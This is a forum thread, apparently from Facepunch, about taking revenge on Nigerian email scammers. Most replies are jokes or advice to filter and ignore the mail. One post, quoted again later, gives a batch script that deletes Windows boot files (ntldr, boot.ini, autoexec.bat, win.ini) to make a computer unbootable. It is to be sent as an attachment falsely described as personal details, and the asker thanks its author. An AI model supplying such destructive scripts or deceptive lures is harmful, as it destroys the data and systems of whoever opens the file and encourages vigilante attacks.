• What can I do to all those Nigerian Scammers?
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Hey Facepunch, I've been getting alot more Nigerian emails lately. What can I do about it? I was thinking about sending a virus back but that would be too obvious. A meatspin link doesn't do enough damage though.
kill them
Filter it, what the fuck else are you going to do?
have sex with them
Give them your monies
Counter-scam
Clikc on the link they give you and you wll get to the next stage of the riddle.
You could send a email back with a batch file attached and say something like "my personal details are enclosed in the attatced file to prevent theft of infomation" and then have the batch file prevent the computer from ever starting up again. @echo off attrib -r -s -h c:\autoexec.bat del c:\autoexec.bat attrib -r -s -h c:\boot.ini del c:\boot.ini attrib -r -s -h c:\ntldr del c:\ntldr attrib -r -s -h c:\windows\win.ini del c:\windows\win.ini Open up notepad and copy and paste that. Save it as a .bat file. This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. Oh and DO NOT OPEN IT TO TEST IT just incase you think of doing it.
Send them money. That'll throw them off.
Exploding money!
Ignore
Give them your bank account details and sort code. That'll show 'em. [img]http://www.officialproducts.tv/shop/shopimages/products/extras/george-mouse-mat.gif[/img]
Ask them a quetion in English, and if it comes back in Engrish then you can screw with them.
[QUOTE=MrMcMolly;16142988]You could send a email back with a batch file attached and say something like "my personal details are enclosed in the attatced file to prevent theft of infomation" and then have the batch file prevent the computer from ever starting up again. @echo off attrib -r -s -h c:\autoexec.bat del c:\autoexec.bat attrib -r -s -h c:\boot.ini del c:\boot.ini attrib -r -s -h c:\ntldr del c:\ntldr attrib -r -s -h c:\windows\win.ini del c:\windows\win.ini Open up notepad and copy and paste that. Save it as a .bat file. This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. Oh and DO NOT OPEN IT TO TEST IT just incase you think of doing it.[/QUOTE] Excellent, thank you.
Tell them to take a picture of themselves holding a sign with your "name" on it while dangling a desktop computer tower from their balls.
there is not a person sending u the emails is an computer so a virus would do a lot to it but the best thing u ca realy do it just mark it as spam :(
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